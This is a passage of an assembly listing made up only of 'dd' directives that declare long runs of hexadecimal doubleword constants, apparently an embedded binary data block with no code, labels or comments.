dd 5A8CE92Ah, 7CBE5D2Fh, 0C3163096h, 0B46BB841h, 0F2AA5000h
dd 0B3F87013h, 0B867507Bh, 95723A1Ah, 59B76373h, 36E9E407h
dd 7882362h, 912F6CE0h, 53051FE0h, 0B36A02B4h, 5C17D274h
dd 8424C984h, 5500BB55h
dd 38B73D14h, 80922AE9h, 0A0AB0264h, 0BED234B0h, 848000E2h
dd 8E87351Bh, 0E5BA8400h, 0C167F05h, 4A79C162h, 0C8DA0E78h
dd 0C212138Dh, 38462CE4h, 71B16A3Ch, 60F60081h, 556B067Dh
dd 0E200B117h, 452C51ADh, 612FD1Eh, 4361D6B9h, 0B2095964h
dd 80BED444h, 94976B28h, 0C415308Ch, 3BC1A4A9h, 9883502h
dd 0C07B1849h, 3C94E8F3h, 0C9DF2B3h, 0EC3814ADh, 19C44193h
dd 0FC4E5E48h, 8760D03Eh, 7967A7A9h, 1C407B89h, 418C8210h
dd 1B3F2A35h, 0CFAB60BDh, 0FA1A7402h, 83502925h, 0F9793CA0h
dd 619FEC1Ch, 61EF8058h, 0B6B5D497h, 0AC939800h, 0D8BC424Dh
dd 0F7C224E0h, 807E44C4h, 8DBD9200h, 0F1730F30h, 1C7BA2EBh
dd 0C39793EEh, 14F633E0h, 0D6EDFEE0h, 29C7261Eh, 0EAD08406h
dd 0F6F35049h, 80A71E4Bh, 8498B0B5h, 8E78EAC3h, 0DE147C77h
dd 58FD424Fh, 26B05871h, 0A400D8ADh, 61452D6Eh, 422813DAh
dd 0F514088Eh, 7C000A4h, 441654AEh, 110352C5h, 744D7B12h
dd 0CC96902Ch, 4E610B38h, 1C103D6Fh, 700182F2h, 99E01D3Fh
dd 0C0C418E9h, 0AE381AFAh, 784070B3h, 30B9F465h, 4D54F380h
dd 0FC092DCAh, 42A7861h, 0D9193403h, 7E748C9Eh, 9BC49900h
dd 0B59C6B4Dh, 1C1D0CC6h, 9220787Bh, 0D4BC6200h, 0B4C52BE4h
dd 5C21F8D9h, 0A0166FAh, 35DDA239h, 0C6087008h, 54BA85EAh
dd 24CF9700h, 0E68D94C4h, 34324FFh, 0C71138h, 75AC740Ch
dd 1C17C897h, 8065E7B5h, 0C69D9C14h, 0F15881BBh, 67451B60h
dd 235804A9h, 0A4E9DDC2h, 0A30F06B4h, 9E3A27E0h, 3D198458h
dd 0EC91B6h, 906FA06Eh, 1A032B35h, 4238B262h, 801BE29Ch
dd 53B53FE0h, 45BF0207h, 0D0E0B6CCh, 0BA0944E4h, 0A1055Fh
dd 0F14A6615h, 959709CCh, 0F082A331h, 0B4C0A858h, 7700433Dh
dd 65802F45h, 9BA4Bh, 2A19ADA3h, 64D1F194h, 90667722h
dd 0C1BAF840h, 0DE957E08h, 2D90923Eh, 8B0C3800h, 0A0716219h
dd 7E5118h, 4B8E8D23h, 0F0D0978Ch, 0A1EDA1C3h, 0B3408814h
dd 0E598002Fh, 9F760A25h, 900749Bh, 4B94700Fh, 688D90CBh
dd 119444DEh, 46550FDCh, 0DF42E074h, 544C2Ch, 0F222172Eh
dd 7E57150Ch, 0C004265Ch, 8EEC40A7h, 0EEC60h, 0BBFB28C6h
dd 504CB64Dh, 0B7EFB806h, 9D89422h, 3C326E6Dh, 0DFB54448h
dd 98FC2500h, 23CA1571h, 6E360717h, 0F0449474h, 0CD510638h
dd 0CF2C160Ch, 9BA1FFh, 48F5498Fh, 91558CF2h, 1734A048h
dd 9840A832h, 0D69F02B5h, 0BC4601BAh, 7E916A2Fh, 298040ECh
dd 0B89842F0h, 0F1C345Ch, 9E48F7C3h, 565A04Fh, 0F4C83DABh
dd 8A4F001Ah, 54D250ACh, 3600FD6Eh, 13792224h, 28E30949h
dd 0B99886BCh, 91780140h, 0C8DB9639h, 5406F25Ch, 0B2AFCB90h
dd 0C0941298h, 0CA44223Ch, 43D433E0h, 0A51A2513h, 7024BC30h
dd 0C071D9h, 0CC31E0EFh, 0CF4A6589h, 44B05B90h, 88FED02Ah
dd 99642200h, 549B331h, 0BD030997h, 1C01AAC2h, 30200C0Dh
dd 7F3ECC40h, 0DBE3114Ah, 92E05501h, 208B544Bh, 8C121B58h
dd 9090CF24h, 411A5Dh, 0EE327A64h, 87E6CECDh, 7C2D8100h
dd 7FA4F352h, 1CCF48E3h, 208CC580h, 6EE29160h, 7801BE30h
dd 0D15324h, 34F24071h, 0C02F511Dh, 8560457Ah, 0AC389F39h
dd 0C96901EBh, 6B626DAFh, 0CC7BD564h, 74B8104Eh, 99886C79h
dd 9AD400B8h, 0B62B5463h, 0D22649ECh, 7B12049Eh, 80E86408h
dd 86E9BBAh, 0E60338EDh, 0A1991BDEh, 5818B6E9h, 0AB035425h
dd 8D6C1EFCh, 0C6193E8h, 98695C60h, 0F3C42935h, 471DDD0h
dd 0E9BBDFBDh, 684802Eh, 7A00CD57h, 64AF4A58h, 17542FDAh
dd 1F0B2DDh, 0E1AA7DBCh, 4030D88Dh, 64E0E614h, 0A5E900C8h
dd 5A1893CFh, 0BFE49C6Ah, 796B6D1Bh, 90445BE2h, 0DDDCE04Ch
dd 6BD85840h, 3A29888h, 2EEC7276h, 7A98280Eh, 68285ABDh
dd 71222862h, 3EF80065h, 43EBE224h, 917FDE9Ch, 218383Eh
dd 586D94E5h, 0D6888582h, 0B94B58D0h, 0D5110308h, 5D0CB3C1h
dd 49934900h, 57F322DAh, 0F2CCB0B6h, 613FB846h, 3D1B40AAh
dd 688181BBh, 0C84FEC8Bh, 0ECDBC2D5h, 0D4E2B881h, 8D63420h
dd 0DDD083B7h, 9322C680h, 0F6AB3E96h, 0A847008Bh, 78CD406Eh
dd 95007984h, 0A4D3F507h, 69F0C2EDh, 0D40439F6h, 462CC2E1h
dd 6C4D245Ah, 60808A90h, 38C4E880h, 188C213Bh, 304B79DDh
dd 0E8A7076h, 2D0191A0h, 33BB44E4h, 0A03CD849h, 70DA19C0h
dd 0A2FE04h, 8E6B3FECh, 2BB50B12h, 46377F05h, 4C34081h
dd 0BA69C10Eh, 0B0AAF3E8h, 20ED45F4h, 20185040h, 0E4C0A64Ah
dd 3F9D7A8Ah, 7C026C76h, 637B7E1Fh, 61C2CC60h, 505F6828h
dd 90BC7F22h, 0D1AE00C8h, 75D4355Eh, 0B7674210h, 44C4B650h
dd 0DC26CC0h, 0D0952C85h, 0E4874080h, 0A1072292h, 371FBC15h
dd 7B695E40h, 6AD802E6h, 31744BD4h, 628FF4E0h, 0E000890h
dd 7A08E903h, 0B2B012B1h, 407D4C50h, 3073DC22h, 494EE00h
dd 0B172492Fh, 259E0C33h, 3AC8FC06h, 0BC0020B8h, 5A9007B3h
dd 630FEDF2h, 45F0D96Fh, 911D9787h, 8FFBB0E7h, 41AE84C8h
dd 0DB30DE9Bh, 90363020h, 241A5DBCh, 0BB870401h, 305B6507h
dd 0E234C230h, 0D83091FAh, 0FF5629h, 0C2D26560h, 0E4886A57h
dd 22C526C0h, 6742B9C8h, 63F57089h, 3900633Ch, 968C0F6Dh
dd 28758CFh, 0B6D83A43h, 0D3E0342Ch, 0F4CF6BDh, 18F14h
dd 4AB0BEDDh, 4741028Fh, 0D71DECE3h, 211D9C79h, 253B900h
dd 0C451871h, 0C7DFFF68h, 11FDE3B8h, 0F823487Eh, 0FC4D5200h
dd 91636072h, 0D8511B74h, 7ED2008Ch, 264C9D3Bh, 36F8025Ch
dd 59582892h, 0CFAF0088h, 0A8037161h, 0E9EDC09h, 2E680701h
dd 0AB9D04D1h, 2B94420h, 53A7D9A3h, 5048E813h, 809E718h
dd 90D05F80h, 0B03F3CD0h, 0FFA0955h, 100A72Fh, 9C7AAA4Eh
dd 0F27F1F0Ch, 0A0AD7935h, 12EE7F8h, 4CC28C16h, 23765A31h
dd 0E8AA015Ch, 0D0BD3280h, 0D00F439h, 0CB035DF3h, 0EF3CB1A6h
dd 97690F8Dh, 1E92A07Eh, 2DB432B8h, 28203C3Bh, 0E4549149h
dd 0EEB5E703h, 0E07D1099h, 5ABDA5Eh, 6E5D7EE9h, 1F38821Ah
dd 97481840h, 13FFAC98h, 5F239871h, 502CF98Bh, 54579380h
dd 0AB010C20h, 514EA9E4h, 8AE86AF4h, 0F2DC0514h, 5D5B0F60h
dd 0C780BAD0h, 0D2BF28A8h, 0BD12DB5Fh, 1CC8164Bh, 5C6E001Dh
dd 7BF43708h, 0C0054AFh, 55248A73h, 25F2BC04h, 0A803462Dh
dd 59005E0Fh, 89B5E83Bh, 2C7DEEh, 0E06EC2E7h, 64ED12A6h
dd 8462EDh, 1978BD9Fh, 54134542h, 731C0F1h, 6C2F21E0h
dd 2C598009h, 35044F55h, 16F3DEB9h, 16ABA4B4h, 140B1F9h
dd 8A675A08h, 2E9C62C3h, 33033D54h, 0C9F38E56h, 5C70F6D1h
dd 293D1345h, 0C254CCAAh, 39F7F830h, 30BA8B55h, 7F11F2C3h
dd 0CC0025A1h, 887E8DE7h, 0D00359h, 3A7D14ABh, 0BFA553B6h
dd 0C68BF801h, 7187CCE1h, 16C5E430h, 9ADE308h, 14930CBAh
dd 4BCFB5A0h, 0C7CD4601h, 0AE715A01h, 64C0A069h, 84A3AA2Ah
dd 0A5B9703Bh, 8714A268h, 0C326C17Eh, 3B005C32h, 10D8BBE7h
dd 910BE18Fh, 74A5B1h, 7C8AB6A8h, 0F6E328F3h, 4B3EF274h
dd 0D05D1Bh, 0D9E4303h, 74008F38h, 0DCF129A1h, 443D2805h
dd 0C20012B6h, 9385F046h, 0BCD1398Ah, 13380BA8h, 845B5004h
dd 0F050D709h, 49F28414h, 432281Fh, 70167540h, 966C71h
dd 0ED808550h, 8B1DF0D4h, 3D4C3AF6h, 0F2238058h, 0E05BD29h
dd 20FFFB56h, 0B6DAD320h
dd 0D80B08F9h, 8EADF33Ch, 0BAF0A098h, 18F1BFCFh, 0D1C016C6h
dd 0F43CD0A2h, 0CD5C836Eh, 0F0EFA864h, 0B1D147C5h, 0B6350020h
dd 0EB445FEAh, 6540F900h, 0FF52A1F4h, 25C209CBh, 4889A541h
dd 0CC9DD584h, 0BC016420h, 612B35C2h, 0CA38A573h, 0EE8A9F00h
dd 6D7E08DFh, 38E68CA0h, 27491E40h, 6C90356Eh, 61484A89h
dd 553FF0B8h, 9CFEA2Bh, 41B26212h, 69AC7482h, 2D1F78F8h
dd 29126144h, 813A01Dh, 80B4F80Ah, 0D7323401h, 48C89FDDh
dd 71AF603Ch, 24E41B78h, 0B004D326h, 8BE51309h, 27600E49h
dd 8A41170Fh, 7ADAAADAh, 36FA01D0h, 4BA7F4ECh, 8024281Fh
dd 5771D5DCh, 9B4300E3h, 0AC0BE5DDh, 0EC00619Ah, 7445868Dh
dd 7A2C7C6Dh, 0F040484Eh, 46CC5180h, 0F89C5952h, 0F82EB740h
dd 1B97780h, 7FFC7E90h, 7164B207h, 0D039923Bh, 6667C020h
dd 5A5000A2h, 7E38BCE9h, 95016514h, 0BFC92E27h, 0FC32E3F2h
dd 0A1FDB200h, 0C5F85F48h, 639F6504h, 0F8E416BDh, 0FD47955h
dd 4624E82h, 8079BB87h, 0AE4630C0h, 0E0727B04h, 20F21C02h
dd 0A2DDC100h, 0A96DF8FFh, 0B3C47709h, 0CEA405A7h, 0D4E0C80Ah
dd 0DF073D05h, 0A4C7F481h, 11284E0h, 51F1EBF4h, 603C2C33h
dd 988AA020h, 7D7A6B58h, 53DE0EDAh, 0E2F806Dh, 42E7BD6Eh
dd 200CC57Eh, 45A192A4h, 0D80BD500h, 0CB1CB92Eh, 5B542DF9h
dd 7164B090h, 0B5316367h, 0CC075EC0h, 1681EC5Bh, 0BCA62A93h
dd 456114EAh, 0DEF883F8h, 0E03CB2AFh, 4CDCC2E6h, 8896848Fh
dd 5B002E38h, 0D830C656h, 0EE368E99h, 0BE900AFEh, 3E40705Ah
dd 0BC387400h, 3D4626C3h, 0E319B960h, 7EC54F50h, 188800F9h
dd 378E95F8h, 7CF12CB8h, 43DF80E8h, 176CE75Eh, 0AA0AD310h
dd 94302500h, 627FD9D1h, 791A7047h, 13E838E1h, 0CE6EE055h
dd 0DA611254h, 0A0A880CDh, 6F076D41h, 0F747EA2h, 48348058h
dd 4986E432h, 5838973Dh, 0D83E24B0h, 8C86D13h, 21AC0008h
dd 33A26779h, 2000588Dh, 0AFB6E450h, 3EB181E2h, 0A10BD59Dh
dd 18A2EAD3h, 0D4646D64h, 6B2F5100h, 2275E0C4h, 474A0BD6h
dd 0E42294A5h, 747ADBC2h, 7640A496h, 9F7C8Fh, 4ACB886Eh
dd 0A70B4534h, 0C0A8955Ch, 39543342h, 0C9070A62h, 80202B7Dh
dd 1EEDB25Ch, 0DC025481h, 1A092DF6h, 0E1F440CDh, 0F3714B4h
dd 3D0190D4h, 1B2E32DEh, 0DA64F44Dh, 3400317Ch, 6550F44h
dd 16AF016Eh, 0CF97C3h, 0F2589488h, 0F4B17E30h, 90007611h
dd 14E7C9ACh, 9D00BCFBh, 2FC26039h, 0EE107Dh, 541EA269h
dd 9BECC0BFh, 750002B8h, 0CD456A49h, 0B9C3B9D5h, 8E9E005Ch
dd 2E3B186Fh, 44DC5E00h, 3AA9CC12h, 5B860F7Ch, 0C0E2F7F4h
dd 0A0441346h, 0C5351C00h, 8CA1C66Ah, 737807DCh, 0E08D476Bh
dd 48BE08BBh, 13FA1090h, 7A6A7D01h, 0E6527559h, 6243D851h
dd 60E5F811h, 0FA18F9C9h, 0F661C215h, 461A0014h, 0B4A2DEA7h
dd 7B046836h, 330296B3h, 0ED343881h, 0F6F9D4h, 3F776521h
dd 0F1B33D4Ah, 1D2EF31Ch, 22EC48C4h, 607D3082h, 1C463ABCh
dd 1FE04BDEh, 0E3CD0737h, 662E40F5h, 364CDF41h, 0CC28012Ch
dd 0B5FB6AA2h, 0AE0FF4h, 5B7C3ED7h, 8E8D7022h, 71409E00h
dd 9107BB2Dh, 14555811h, 4654E00Eh, 21752580h, 0EB004BB0h
dd 3968B59Bh, 283D74A8h, 3CCCD550h, 0C5007254h, 108FF0A0h
dd 14B93AF2h, 0BF2F9339h, 27939C30h, 0F268001Fh, 754A23A2h
dd 0CB0092B5h, 76B98481h, 4B7BBEh, 0ED0BB298h, 34DE66C5h
dd 0AF6F6127h, 0BC3CA408h, 4EE99B40h, 0FC264722h, 446000C0h
dd 1F672F6Eh, 0E10FD88h, 494014F9h, 0D4D76A4Ch, 30A19C04h
dd 0B880A8B3h, 3B749BE4h, 3C4CB81Ah, 26E4300h, 6805BBB1h
dd 7BAFF02h, 0C2842373h, 97F00017h, 3ED7EB2h, 0DD1A774Ah
dd 0D7E0323Fh, 40135ABBh, 782015F0h, 7B9E5F3h, 59220AB1h
dd 0D3C680ECh, 788C9457h, 174EC4Ah, 66623F13h, 2C3971B0h
dd 0C1638098h, 2CE7983h, 0E7934BFBh, 0BB4294B8h, 0C787AC12h
dd 8266A0B6h, 2600FB22h, 8735C6E7h, 160F9192h, 80BD1B32h
dd 0B188C76Ch, 0DA016BE8h, 0DE2D0A3Ah, 0B050480Fh, 5093C3h
dd 6D88DB9Dh, 1A35F2CEh, 0C17C0900h, 255C4E30h, 9277C5h
dd 9E578822h, 0AEB42E2Dh, 9DEF4500h, 3A3555FBh, 9BED2C58h
dd 0AC690AA4h, 0A86B02B4h, 0AC784B97h, 0C46FD925h, 39E000E4h
dd 54F8E29Ah, 9409EDB5h, 708B4FB6h, 0DF9B1CA0h, 0D316D23Dh
dd 25F08710h, 96FCB85Ch, 3A6A9C00h, 35692ECAh, 61C30E8Fh
dd 2A270AA8h, 201B75DDh, 0C7275C8h, 0A9BC6C0Fh, 95844078h
dd 1E7493B6h, 0DD3FD32Bh, 414C9C66h, 0DDAC047Fh, 7E49F890h
dd 95E90C05h, 8B4F7C2h, 0D0B8543Dh, 723B02DEh, 0D4686E62h
dd 785EA4E2h, 5ABC7802h, 48AC645Ch, 5F0530ABh, 0C213E671h
dd 78F16870h, 938D4481h, 34631D65h, 0DB10BC00h, 0A97E8F3Dh
dd 908B5Ch, 42CD945Eh, 91C13F38h, 96268014h, 0A5925452h
dd 288C6600h, 0A8C5A0C4h, 38DD2F1Ch, 7F2516F8h, 2A44446h
dd 14858DF1h, 88C11C10h, 0EB25F2DEh, 1B00C0F2h, 0C68573B6h
dd 901479Eh, 0E90FDB5h, 0F44033EBh, 40313974h, 9C073429h
dd 4AA9ACB5h, 0BB17D5C0h, 3D05254Dh, 27CD2820h, 0D02C6C53h
dd 49126495h, 10DCC001h, 2C616844h, 0E88C57DCh, 105864E4h
dd 0DCF282h, 0EE1CED2Ah, 1CC3665Ch, 8035F899h, 3A32D925h
dd 9C026C43h, 617305B2h, 47CE46Dh, 7BD41A8Ah, 76E8C7B0h
dd 150B5814h, 8464D1DDh, 54CC55C0h, 2C6B00B0h, 99D3B960h
dd 760E63C3h, 0A83ACh, 1C9C427Fh, 0F08864A5h, 0D088C06Dh
dd 0B117E96Eh, 78305480h, 167A7A5h, 10A6BE60h, 618C93A9h
dd 6BC44080h, 0C1058225h, 0E2C26D7Fh, 1375E4A4h, 8888277Ch
dd 1C0062F0h, 0DB82444Ch, 77E0DFEBh, 515204FBh, 0A2EC0BD8h
dd 2EB80004h, 0C972A6B0h, 0D2350782h, 0F997A499h, 0F9EAF464h
dd 0B0E51A02h, 625B6667h, 0F3808188h, 6468BF51h, 80D81E9Ch
dd 853DE12h, 9C76CB9Fh, 615B9609h, 44B04476h, 3E070F85h
dd 0D15B5607h, 208D5220h, 0B8A5007Eh, 2FD53BACh, 0F7D0637h
dd 7A0178B0h, 8BAF2EBCh, 946216FEh, 0CBAC0700h, 0C809D359h
dd 28CB100h, 0C1BF0B9h, 42642DE8h, 7451E4A0h, 18902624h
dd 0A5F13416h, 89EF3C08h, 4079E5C2h, 70305413h, 1E6E2Ch
dd 329D34F3h, 3DA56FB6h, 24AFD0Fh, 0D9058979h, 58978918h
dd 0BB74D402h, 34C42Bh, 31629551h, 979C1A2Ch, 17685D09h
dd 111090D0h, 88540B35h, 30B6E58Fh, 0DE554B0Eh, 941B4492h
dd 49D69CBCh, 0B452C398h, 7C253400h, 91106C14h, 0E9F907B6h
dd 0A165A064h, 0F037F881h, 0F6488370h, 497B09C8h, 1E18E4CBh
dd 0F9D00558h, 62D36180h, 53703EF8h, 0ACBF6617h, 0A58BC430h
dd 0F0BE1F1Dh, 0C044006Dh, 0A3B86102h, 8B98A07Bh, 82FF952Dh
dd 60BCD1C8h, 128B0B48h, 0D037F2DAh, 4432DCA0h, 4B8EE216h
dd 1C3C488h, 8040375h, 0DFA0B094h, 0E8C648FAh, 5582F900h
dd 5808DFAFh, 0F8C10B2Eh, 3C80EA43h, 6356B30h, 5B4E9498h
dd 9382820h, 72680098h, 8CAB7ADBh, 1B257B4Ah, 268100Eh
dd 0C079071Dh, 0F37E7Fh, 0F211872Eh, 15F4E152h, 18DCDDh
dd 80F4CA19h, 4C814140h, 91C40C38h, 4936C0DDh, 0B12CBB47h
dd 5C1C22FCh, 71E4DC3Eh, 928A7300h, 6EDD26Eh, 0E64314F6h
dd 3E0098DDh, 0B930138h, 0A1F0E05h, 0FF3E8615h, 0F2082060h
dd 0C5407497h, 19AACF2h
dd 56C238ACh, 0CD8AFCEFh, 74E98E77h, 0B17CC658h, 0F2571F04h
dd 74EC1C0Ch, 5E3E8280h, 0D85C24FBh, 0B07F1134h, 8D680900h
dd 0DCCACAFh, 0BF547400h, 0B28C37A0h, 0A8AA1494h, 4C2CB002h
dd 4CE81104h, 5C167AD8h, 0C4009C46h, 943C3565h, 0E0909741h
dd 877FD866h, 5500BDE0h, 0A243C2Bh, 0DE972Eh, 948193C4h
dd 7DF0676h, 9090792Fh, 77DA4344h, 0C07350C6h, 0A36E2C8Dh
dd 1DFA603Ch, 0C1008B70h, 856A401Ch, 26DBA6D2h, 3DE08A0Eh
dd 41F4C8CAh, 31099100h, 817434D5h, 0C5C902A2h, 491361B0h
dd 0A4EEE0A0h, 0AE0054A8h, 4AA3034h, 0C5AC84h, 9F36796h
dd 15EBBEFAh, 8800A899h, 0C22F2C18h, 0D1590679h, 1ED62849h
dd 64725A27h, 27814F48h, 0B0EBF734h, 9A2C8B17h, 0EDDCA400h
dd 0C41E5210h, 4B586Dh, 2348884Fh, 311FCD00h, 748B435Dh
dd 0B830129h, 2DF2151Ch, 1429BCF4h, 8FDAE8h, 4605BB28h
dd 9345404h, 0C7AA775Eh, 7CEE34E4h, 985F8602h, 7E4564B5h
dd 75CB80ACh, 0D7F8EC28h, 1F88B705h, 8C201684h, 0A0C858h
dd 596774EDh, 194B68AFh, 0D5BE5409h, 7F2B80D0h, 0C97A2EF3h
dd 74DA0C31h, 16D6710Fh, 0C6FCA02Dh, 9FE9DAh, 0F133781Ch
dd 9BE8C7A4h, 36A2E090h, 15008C66h, 44B2BDE0h, 0C099AAD5h
dd 18B5A698h, 0CF4CE5F7h, 297E02D2h, 74FEDBC2h, 53E84410h
dd 0E13BA000h, 1D2F4570h, 45122DDh, 88CF3FF2h, 2B071808h
dd 2A67327h, 68B67090h, 0E56C2438h, 0C7D91DA0h, 604B92DCh
dd 5FEE2B7Dh, 0D004D212h, 0EC537C23h, 0D3A37681h, 88BAA424h
dd 1D016EABh, 8A188E42h, 0F160E326h, 70135054h, 79A20008h
dd 0ABE4F6E8h, 6905E550h, 0E06EB195h, 0F8B23CD5h, 0B8A91900h
dd 7035D380h, 14BD0E01h, 2864F292h, 7F4754F0h, 80C24B9Ch
dd 1BC18C60h, 0AE005091h, 0D3EBB91Fh, 0AA140166h, 0F92A4738h
dd 0C0053A4Dh, 24CC1D7Eh, 0BF990B9Dh, 2A07CAAAh, 86E35067h
dd 0B3004924h, 112ED8BEh, 5C8E3A8Bh, 7E2CCC64h, 9F61148h
dd 46E2A75h, 0D2333860h, 88039C2h, 9C54A6A9h, 0D9587BF8h
dd 2115C3ECh, 0FC9E0386h, 7D18EF99h, 2550D1A7h, 0C82C303Ch
dd 9071AC27h, 0A82F50h, 0A1EF65D9h, 0F2E038C4h, 48AD2E44h
dd 6DC0FC18h, 0CD2D9B61h, 0EF2A7B00h, 1499C8BAh, 6C060185h
dd 0C2C5FADDh, 0DC9C3092h, 6497C313h, 0B2021CA2h, 0E9C2D4E1h
dd 0A8007489h, 7BB4BB9h, 9CAB5024h, 0D8589D00h, 0B640DA64h
dd 9F5740C4h, 0A00097EDh, 81FEB91Ah, 4EBB3Dh, 2A7343A7h
dd 0A638295Ah, 511238A4h, 90F2247Eh, 4CE07A00h, 22B580B2h
dd 25454407h, 36C24F3Fh, 0CCC668h, 0B9A77C75h, 0BA918D41h
dd 0F8004A7Ch, 532464EAh, 58D9BD25h, 0EF161027h, 0DA380BA7h
dd 58001471h, 0F1749F12h, 0C1871FA6h, 0F18ED9C2h, 93AC2C45h
dd 0F4708CCh, 84EFBC26h, 0BA54AF00h, 911F5C53h, 382CA8F4h
dd 0F4CB060h, 0DF782EDDh, 0C31C26BCh, 9C98FE0Ah, 85132D74h
dd 54200FAEh, 4C3D7Dh, 8B98F69h, 0A595D092h, 8C23E5h, 0B53199A7h
dd 7F3AFB8h, 0F6401027h, 7CBBA0E9h, 0B914B3AEh, 4D8828Eh
dd 8F37F709h, 0E6C20CC0h, 2E422650h, 3E511D28h, 3C0362A7h
dd 9CF001AEh, 605C1A1h, 6322778Bh, 61104282h, 0DC10E8CCh
dd 0C2263D05h, 0E563EC49h, 0CBC1B888h, 6C32010Bh, 0A5C55117h
dd 0F776803Ah, 0FC4AC32Ah, 0BAA80258h, 655175AAh, 3F26A8C1h
dd 4713684Fh, 7DA06B74h, 0BA41575h, 1F667367h, 0BDBBE080h
dd 350163C4h, 0D34CA1AEh, 0AC7064A2h, 48018BF6h, 0FDF991Dh
dd 7A82E0A7h, 0AE2890DEh, 8A062C60h, 9BFB4A00h, 0D7B7CD4Ch
dd 134B2541h, 372B7448h, 0BD20C53Dh, 0DB598346h, 2212269h
dd 0AA38DA58h, 70443D4Bh, 0B07E4500h, 0E1712926h, 0FC4C00E9h
dd 7B8B760h, 7601D323h, 64927542h, 2B176B6Ah, 3332A060h
dd 5D941A02h, 444264BDh, 0C4DD0180h, 52C2D708h, 0F8602BF3h
dd 885B0C45h, 9903EB44h, 6912325h, 0D5EEE048h, 20DF4A5Dh
dd 7A07F128h, 0BF187600h, 3DA661Dh, 98B09A5Ch, 1AC50008h
dd 6DDC3AF8h, 612858A7h, 0CF4B5468h, 76A55C40h, 50905202h
dd 1519D7Dh, 0DB472546h, 238A2DC5h, 8F4D00F8h, 0BA7E2E1h
dd 34FD3EFBh, 1852DE07h, 0B52210C0h, 0A7FA1CB2h, 753BDD07h
dd 2A543E5Fh, 0E8328083h, 88761156h, 7771E93Ah, 5DCF0A00h
dd 0BF30EEF8h, 88250084h, 0EC469EBBh, 562DDA3Ah, 4FC0493Ch
dd 1E85FCFCh, 40947924h, 0E151881Dh, 1A0274CCh, 5E3D969Dh
dd 0F8D0E155h, 829CB8CBh, 718E01DCh, 0CC125D7h, 0FC819369h
dd 339C5900h, 7FC6407Bh, 4DAA00F3h, 6E9B85B8h, 8042226h
dd 8E66E31Dh, 23DB18C2h, 9178E4F2h, 0CA4E6F9h, 0F4942230h
dd 1DF882B4h, 9C5973EBh, 0A7E62E07h, 6D5A0EB0h, 41970A58h
dd 80748984h, 850218FEh, 0B300B666h, 0E1F0F804h, 2BC3BA3h
dd 924DCC45h, 7856765Ah, 5DEB650h, 3B66C855h, 33448369h
dd 0B86647C2h, 9F353A00h, 9C304A21h, 6918001Dh, 0B5A576FCh
dd 4501947Dh, 0E8D1F5CDh, 202BA90Dh, 0E4364248h, 28C24300h
dd 0ACAA341Ah, 33CC031Fh, 4CD3DD86h, 0F18BF8F1h, 3DFE8BBh
dd 4DF008C0h, 2C625C2Fh, 340899Fh, 172E45ABh, 0B07E55D2h
dd 0E7B705BCh, 98028EE6h, 0E168633Eh, 8C149F38h, 1501D3E4h
dd 9E2D5C18h, 0DC207CFFh, 0E22E17C7h, 0B258C2C0h, 4F8C6073h
dd 78D458DBh, 0F7BF532h, 4E8BA1B0h, 7BB8E498h, 5D93230Fh
dd 2C9583B4h, 0F87D8A7h, 3FD109B6h, 64014A96h, 7B9E613Ah
dd 1D6B6400h, 0DD643D98h, 1AAC40A9h, 7D72FA88h, 34DE1116h
dd 82C8CA03h, 6EA898F1h, 40F89638h, 8D36C2E2h, 0D45EF426h
dd 61EFAB1Dh, 0A4380724h, 70A21280h, 23B02BB2h, 92A66300h
dd 523CC7C5h, 105018Fh, 0F2AE78CAh, 0E03236h, 1F7FB4B5h
dd 96DADD30h, 0D38E4F28h, 874E0096h, 63AB042h, 8073E138h
dd 3B2A2F33h, 0F63454A8h, 0A3C112C5h, 88F289h, 5A414BB4h
dd 77B76FAh, 0F97C396Eh, 9B46D05Fh, 4513E5F8h, 0CCF4C3BFh
dd 253C0005h, 0F1FA5B01h, 0AA1E2CEDh, 35844BBCh, 0F4E6DBC2h
dd 78647058h, 71A888CFh, 44147AE8h, 0E0042Ch, 0AE970CD5h
dd 14E87B74h, 0C89AF768h, 0F445640Fh, 0AEC0AC14h, 0FF3603ECh
dd 0C0A80758h, 0E3E732B2h, 0E644004Ah, 153E5DEDh, 290031EBh
dd 41D1BA70h, 1F55F21Eh, 82323D2Bh, 3C588EC5h, 0E39E647Ch
dd 48213FC0h, 0A034902Dh, 984EE0D4h, 8884FC10h, 0A688B53Dh
dd 0CB0E0049h, 2C85121Ch, 0D5275AE2h, 4B1C104Fh, 0B11000AFh
dd 6D7E1918h, 74E858BEh, 2097860Eh, 420976D1h, 35740076h
dd 2D8A8D93h, 909002F6h, 889046EBh, 443C5501h, 1342E0B0h
dd 301C4F6Ah, 0C09FCD6Fh, 8C6176E5h, 37003EF2h, 0A7C30194h
dd 8886D17Bh, 49008BB8h, 0A40CAE36h, 1E31F6A6h, 0C75CBB9Ah
dd 0D0509F6Bh, 65C7F88Ch, 0A6A89513h, 47CE9400h, 2F30531h
dd 5ABFB10Ah, 0F501B371h, 5E2A4364h, 1A36CE4h, 0E08B41DFh
dd 2C73C0h, 0C10782BAh, 0BC26Ch, 73D26A29h, 0F82DB595h
dd 76744404h, 10845157h, 3CC89916h, 0B31C00FFh, 0E6556D0h
dd 314CD70Dh, 0BEE80C71h, 0B584304Bh, 0CF946802h, 8D82CCF9h
dd 81458CDEh, 67B422B0h, 0F675B442h, 0B0003AA4h, 0C2DD5521h
dd 0A8078D8Ah, 7880AEDFh, 28F858D4h, 0D75CAD80h, 0AF008EDEh
dd 0E4E1B233h, 1477176h, 0CEA47E3Bh, 30D3F195h, 9F33401Ch
dd 832500Dh
dd 4ACF2E10h, 87341B00h, 9E206BFh, 487EE0EAh, 7302F0E4h
dd 7262439Eh, 536057A5h, 7C2ABF6Bh, 19FE44E2h, 58170100h
dd 9BB5FFB0h, 18A90036h, 7C1D6599h, 8800A163h, 98851074h
dd 0B8814E64h, 977501CCh, 0C279C5EBh, 98376EF0h, 7548020h
dd 695A0AB0h, 97E8F44Eh, 80CCB26Fh, 21831B57h, 99480E15h
dd 3E00868Dh, 0BE2CBF16h, 7B7CF51Eh, 84ECD9CBh, 5A446394h
dd 37CCF45Ch, 0EC51E124h, 0CD866B1Ch, 2F7609D3h, 0CFF6CA08h
dd 0B460102Dh, 3D16E02Ah, 0EE801E13h, 461F46Dh, 4C4831FCh
dd 297501F1h, 0E3F2C078h, 4B4407Bh, 97A63694h, 80C4C358h
dd 0EFFA1CB1h, 70AFECA1h, 4569004Eh, 0C8187442h, 9B00EC84h
dd 8EBB38B5h, 0A43D571Ch, 152000B8h, 899AFE6Ch, 7300C395h
dd 0A1CD17A9h, 0B8EA1BE3h, 40C25B49h, 0F960EC5Ch, 0E9002E26h
